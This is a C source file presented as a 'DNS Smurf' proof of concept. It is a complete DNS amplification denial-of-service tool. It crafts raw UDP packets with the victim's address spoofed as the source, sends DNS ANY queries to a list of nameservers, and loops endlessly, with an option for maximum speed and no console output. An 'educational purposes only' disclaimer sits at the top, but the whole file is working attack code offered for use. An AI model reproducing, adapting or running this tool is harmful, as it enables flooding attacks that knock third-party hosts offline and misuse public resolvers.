// DNS Smurf Proof of Concept.
// v1.0
// by Topo[LB]
// Please use it for educational purposes only.
//
// Basic RAW socket code taken from "A brief programming tutorial in C for raw sockets" by Mixter.
//
// Tested under GNU/Linux 2.6.x

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>

struct pseudohdr
{
  unsigned int saddr;
  unsigned int daddr;
  unsigned char zero;
  unsigned char protocol;
  unsigned short int lenght;
};

struct ipheader {
  unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
  unsigned char ip_tos;
  unsigned short int ip_len;
  unsigned short int ip_id;
  unsigned short int ip_off;
  unsigned char ip_ttl;
  unsigned char ip_p;
  unsigned short int ip_sum;
  unsigned int ip_src;
  unsigned int ip_dst;
}; /* total ip header length: 20 bytes (=160 bits) */

struct udpheader {
  unsigned short int uh_sport;
  unsigned short int uh_dport;
  unsigned short int uh_len;
  unsigned short int uh_check;
}; /* total udp header length: 8 bytes (=64 bits) */

#define DNSHDRSIZE 12

struct dnshdr {
  unsigned short int id;
  unsigned char  rd:1;           /* recursion desired */
  unsigned char  tc:1;           /* truncated message */
  unsigned char  aa:1;           /* authoritive answer */
  unsigned char  opcode:4;       /* purpose of message */
  unsigned char  qr:1;           /* response flag */
  unsigned char  rcode:4;        /* response code */
  unsigned char  unused:2;       /* unused bits */
  unsigned char  pr:1;           /* primary server required (non standard) */
  unsigned char  ra:1;           /* recursion available */
  unsigned short int que_num;
  unsigned short int rep_num;
  unsigned short int num_rr;
  unsigned short int num_rrsup;
};

//Global variables
int s;

void usage(char *pname)
{
  printf ("Usage: %s [-p port] [-d packet_delay] [-m] [-h] nameserver_addr domain_to_resolv | -f <nameservers-domains file> victim_addr\n\n", pname);
  printf("  -f <file>: read nameservers and domains from file. One nameserver_ip<space>main_domain pair per line. Empty lines and lines beggining with # are comments.\n");
  printf("  -p <port>: use another port instead UDP/53\n");
  printf("  -d <delay>: delay between sent packets, in microseconds\n");
  printf("  -m: maximun speed! Delay 0 and no console output\n");
  printf("  -h: prints this help ;)\n\n");
  exit(0);
}

void quit(char *reason)
{
  perror(reason);
  close(s);
  exit(-1);
}

u_long host_to_ip(char *host_name)
{
  static  u_long ip_bytes;
  struct hostent *res;
  res = gethostbyname(host_name);
  if (res == NULL) return (0);
  memcpy(&ip_bytes, res->h_addr, res->h_length);
  return (ip_bytes);
}

// Checksum generation
unsigned short csum (unsigned short *buf, int nwords)
{
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--) sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

void creatednsnamequery(char *name)
{
  int  i=0;
  int a=0;
  int ant=0;

  for(i=0;i<strlen(name);i++)
  {
    if(name[i]=='.'){
      if (i){
        name[ant]=a;
        a=0;
      }
      ant=i;
    }
    else a++;
    }
  name[ant]=a;
}

struct nameserveritem{
  u_long victimIP;
  char domain[128];
};

int main (int argc, char *argv[])
{
  unsigned char *tempptr;
  int ii=0;
  int test=0;
  int totalNameservers=1;
  struct nameserveritem nameserverArray[1024];
  char datagramArray[1024][4096];

  FILE *filein;
  char tempbuffer[1024];
  char filename[1024];

  u_long  src_addr, dst_addr;
  int i, bs=1, port=53;
  int nooutput=0;
  char hostname[2048];
  int userdelay=1000000;
  s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);  /* open raw socket */
  char datagram[4096];
  char pseudodatagram[4096];
  struct pseudohdr *pseudoheader=(struct pseudohdr *) pseudodatagram;
  struct ip *iph = (struct ip *) datagram;
  struct udphdr *udph = (struct udphdr *) (datagram + sizeof (struct ip));
  struct dnshdr *dnsh = (struct dnshdr *) (datagram +sizeof (struct ip) + sizeof(struct udphdr));
  char *dnsquerydata=(char *) (datagram +sizeof (struct ip) + sizeof(struct udphdr)+sizeof(struct dnshdr));
  struct sockaddr_in sin;
                       /* the sockaddr_in containing the dest. address is used
                          in sendto() to determine the datagrams path */

  printf ("\nDNSSmurf 1.0 by Topo[LB]\n\n");
  if (argc < 4) usage (argv[0]);

  while ((i = getopt (argc, argv, "f:d:p:hmt")) != EOF)
  {
    switch (i)
    {
      case 'p':
        port = atoi(optarg);
        if ((port <=0) || (port > 65535)) quit ("Invalid port number given.");
        break;
      case 'd':
        userdelay = atoi(optarg);
        if ((port <=0) || (port > 1000000)) quit ("Invalid packet delay given. Delay must be between 0 and 1000000");
        break;
      case 'm':
        nooutput=1;
        break;
      case 'f':
        if ((filein = fopen(optarg, "r")) == NULL)
        {
          printf("Unable to open file %s\n", optarg);
          exit(1);
        }
        totalNameservers=0;
        while (fgets(tempbuffer,1000,filein)!=NULL)
        {
          if (!strstr(tempbuffer,"#")){
            tempptr=strtok(tempbuffer," ");
            if (!tempptr) quit("Format error in nameserver file!");
            nameserverArray[totalNameservers].victimIP= host_to_ip(tempptr);
            tempptr=strtok(NULL," ");
            if (!tempptr) quit("Format error in nameserver file!");
            strcpy(nameserverArray[totalNameservers].domain, tempptr);
            if (nameserverArray[totalNameservers].domain[strlen(nameserverArray[totalNameservers].domain)-1]=='\n') nameserverArray[totalNameservers].domain[strlen(nameserverArray[totalNameservers].domain)-1]='\0';
            totalNameservers++;
          }
        }
        printf (" [INFO] %u nameservers/domains loaded\n", totalNameservers);
        fclose(filein);
        break;
      case 'h':
      default:
        usage (argv[0]);
    }
  }

  for (ii=0; ii<totalNameservers; ii++){
    src_addr = host_to_ip(argv[argc-1]);
    if (!src_addr) quit("Bad victim address given.");

    if (totalNameservers==1){
      nameserverArray[0].victimIP = host_to_ip(argv[argc-3]);
      strcpy(nameserverArray[0].domain,argv[argc-2]);
    }

    dst_addr=nameserverArray[ii].victimIP;

    if (!dst_addr) quit("Bad nameserver address given.");
    sin.sin_family = AF_INET;
    sin.sin_port = htons (53);
    sin.sin_addr.s_addr = dst_addr;
    memset (datagram, 0, 4096);

    strcpy(dnsquerydata, ".");
    strcpy(dnsquerydata+1, nameserverArray[ii].domain);
    dnsquerydata[strlen(dnsquerydata)+1]=0x00;
    dnsquerydata[strlen(dnsquerydata)+2]=0xFF;
    dnsquerydata[strlen(dnsquerydata)+3]=0x00;
    dnsquerydata[strlen(dnsquerydata)+4]=0x01;
    creatednsnamequery(dnsquerydata);

    iph->ip_hl = 5;
    iph->ip_v = 4;
    iph->ip_tos = 0;
    iph->ip_len = sizeof (struct ip) + sizeof (struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5;       /* no payload */
    iph->ip_id = htonl (54321);
    iph->ip_off = 0;
    iph->ip_ttl = 255;
    iph->ip_p = IPPROTO_UDP;
    iph->ip_sum = 0;
    iph->ip_src.s_addr = src_addr;
    iph->ip_dst.s_addr = dst_addr;
    udph->source = htons (3000);
    udph->dest = htons (port);
    udph->len = htons(sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);
    //udph->check=udp_sum_calc(sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5, (unsigned short *) &src_addr, (unsigned short *) &dst_addr, 1, (unsigned short *) udph);

    dnsh->id=rand();
    dnsh->que_num=htons(1);
    dnsh->rd=1;

    pseudoheader->protocol=17;
    pseudoheader->lenght=htons(sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);
    memcpy(&pseudoheader->saddr, &src_addr, 4);
    memcpy(&pseudoheader->daddr, &dst_addr, 4);
    memcpy(((unsigned char *)pseudoheader)+sizeof(struct pseudohdr), udph, sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);

    udph->check = csum((unsigned short*) pseudoheader, sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);

    iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
  that the kernel knows the header is included in the data, and doesn't
  insert its own header into the packet before our data */

    {                             /* lets do it the ugly way.. */
      int one = 1;
      const int *val = &one;
      if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL!\n");
    }
    
    memcpy(datagramArray[ii], (unsigned char *) iph, sizeof (struct ip) + sizeof (struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);
  }

  if (nooutput) printf (" [Warning. No progress information will be printed to the user]\n\n");
  printf(" Launching smurf to %s with packet delay %u microseconds ...\n\n", argv[argc-1], userdelay);

  while (1)
  {
    if (userdelay) usleep(userdelay);
    for (ii=0; ii<totalNameservers; ii++){
      if (sendto (s,            /* our socket */
        datagramArray[ii],    /* the buffer containing headers and data */
        iph->ip_len,  /* total length of our datagram */
        0,            /* routing flags, normally always 0 */
        (struct sockaddr *) &sin,     /* socket addr, just like in */
        sizeof (sin)) < 0)            /* a normal send() */
        printf ("error\n");
      else
        if (!nooutput){
          printf (".");
          fflush(stdout);
        }
    }
  }
  return 0;
}